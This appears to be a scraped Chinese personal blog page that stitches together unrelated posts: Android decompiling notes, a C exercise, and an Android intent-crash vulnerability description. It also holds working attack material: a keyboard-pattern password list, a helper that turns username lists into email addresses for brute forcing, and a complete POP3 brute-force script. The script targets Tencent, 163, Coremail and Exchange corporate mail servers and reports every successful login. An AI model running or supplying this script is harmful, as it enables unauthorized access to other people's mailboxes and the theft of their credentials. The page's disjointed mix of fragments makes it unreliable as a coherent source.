感恩
感谢生命中遇到的所有人
感谢每一个帮助过我的人
感谢自己的努力
感谢这个世界
where are you
感谢生命中遇到的所有人
感谢每一个帮助过我的人
感谢自己的努力
感谢这个世界
最近看了看安卓逆向,反编译的文章,简单的记录一下笔记。
当然作为一个开发者,学习反编译也是必不可少的技能,从他人代码中学习知识也是一种提升。
对于白帽子,测试人员,逆向,反编译则可以从茫茫无序的代码中获得自己想要的信息。
(测试环境:win8)
当然还有很多其他工具,比如apktool,Androidfby,这里暂做dex2jar和jd-gui的介绍
1 2 |
1 1 2 2 |
1 |
1.414 |
答案:
1 2 3 4 5 6 7 8 9 10 11 |
#include<stdio.h> #include<math.h> int main() { float Xa,Ya,Xb,Yb; scanf("%f%f%f%f",&Xa,&Ya,&Xb,&Yb); float s=(Xa-Xb)* (Xa-Xb)+(Ya-Yb)*(Ya-Yb); float t=sqrt(s); printf("%.3f",t); return 0; } |
1) 漏洞位置:
处理getIntent()的intent附带的数据
2) 漏洞触发前提条件:
getIntent()的intent附带空数据、异常或畸形数据;
处理getXXXExtra()获取的数据时没有进行异常捕获;
3) 漏洞原理:
Android系统中提供了Intent机制来协助应用间的交互与通讯,其负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述,系统则根据此Intent的描述,负责找到对应的组件,将Intent传递给调用的组件,并完成组件的调用。调用的组件在处理Intent附加数据的时候,没有进行异常捕获,因此当处理空数据、异常或者畸形数据时,导致应用崩溃。
收集整理了一部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
123qwe 1qaz2wsx 2wsx3edc 123qwe!@# qwe123!@# 1qaz@WSX ZAQ!xsw2 ZAQ!2wsx 2wsx#EDC @WSX3edc #EDC2wsx 3edc$RFV #EDC4rfv $RFV3edc 4rfv#EDC %TGB6yhn 5tgb6yhn 5tgb^YHN ^YHN5tgb 6yhn%TGB 6yhn&UJM ^YHN7ujm &UJM6yhn 7ujm^YHN 8ik,(OL> *IK<9ol. 2wsx!QAZ !QAZ2wsx qwertyuiop[] asdfghjkl;' zxcvbnm,./ |
好久没看C了,从简单开始做做看.毕竟我是个渣渣…
1 2 3 4 |
a 12 2.3 3.2 |
1 |
a 12 2.300000 3.200000 |
爆破邮箱时候,搜集了许多用户名或者用top500来爆破,有的时候需要类似xxx@xxx.com 所以顺手写了一个每行自动加字符的小脚本
1 2 3 4 |
with open ('1.txt', 'wt') as f: //所生成的文件 f.writelines(map(lambda ln: ln.strip()+'@xxx.com\n\r', open('2.txt', 'rt').readlines()//所读取的用户名文件 )) |
原来保存过的一个企业爆破脚本,单线程,测试时还是有所帮助的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 |
#!usr/bin/python #!coding:utf-8 import threading,time,random,sys,poplib from copy import copy if len(sys.argv) !=4: print "\t Note: 邮箱类型为:'163','tencent','coremail','236','exchange' \n" print "\t Note: coremail|exchange 用户字典不需要域名后缀,例如zhangsan\n" print "\t Note: 163|tencent|236 用户字典需要域名后缀,例如zhangsan@domain.com\n" print "\t Usage: 163|tencent使用方法:./mail.py type <userlist> <wordlist>\n" print "\t Usage: 236|exchange|coremail使用方法:./mail.py type <userlist> <wordlist> mail.domain.com\n" sys.exit(1) mailType=['163','tencent','coremail','236','exchange'] if sys.argv[1] in ['236','exchange','coremail']: try: server = sys.argv[5] except: print '[-] Error: 236|exchange|coremail需要指定domain.com,请参考使用说明!\n' sys.exit(1) elif sys.argv[1] == '163': server = "pop.qiye.163.com" elif sys.argv[1] == 'tencent': server = "pop.exmail.qq.com" else : print "[-] Error: 邮箱类型错误\n" sys.exit(1) success = [] try: users_list = open(sys.argv[2], "r") users = users_list.readlines() words_list = open(sys.argv[3], "r") words = words_list.readlines() except(IOError): print "[-] Error: 请检查用户名或密码路径及文件\n" sys.exit(1) finally: users_list.close() words_list.close() try: if sys.argv[1] in ['163','236']: pop = poplib.POP3(server,110) else: pop = poplib.POP3_SSL(server,995) welcome = pop.getwelcome() print welcome pop.quit() except (poplib.error_proto): welcome = "[-] Error: No Response,Something wrong!!!\n" sys.exit(1) print "[+] Server:",server print "[+] Users Loaded:",len(users) print "[+] Words Loaded:",len(words) print "[+] Server response:",welcome,"\n" def mailbruteforce(listuser,listpwd,type): if len(listuser) < 1 or len(listpwd) < 1 : print "[-] Error: An error occurred: No user or pass list\n" return 1 for user in listuser: for passwd in listpwd : user = user.replace("\n","") passwd = passwd.replace("\n","") try: print "-"*12 print "[+] User:",user,"Password:",passwd # time.sleep(0.1) if type in ['163','236']: popserver = poplib.POP3(server,110) else: popserver = poplib.POP3_SSL(server,995) popserver.user(user) auth = popserver.pass_(passwd) print auth if auth.split(' ')[0] == "+OK" or auth =="+OK": ret = (user,passwd,popserver.stat()[0],popserver.stat()[1]) success.append(ret) #print len(success) popserver.quit() break else : popserver.quit() continue except: #print "An error occurred:", msg pass if __name__ == '__main__': mailbruteforce(users,words,sys.argv[1]) print "\t[+] have weakpass :\t",len(success) if len(success) >=1: for ret in success: print "\n\n[+] Login successful:",ret[0], ret[1] print "\t[+] Mail:",ret[2],"emails" print "\t[+] Size:",ret[3],"bytes\n" print "\n[-] Done" |
Holle World
The New Life
近期评论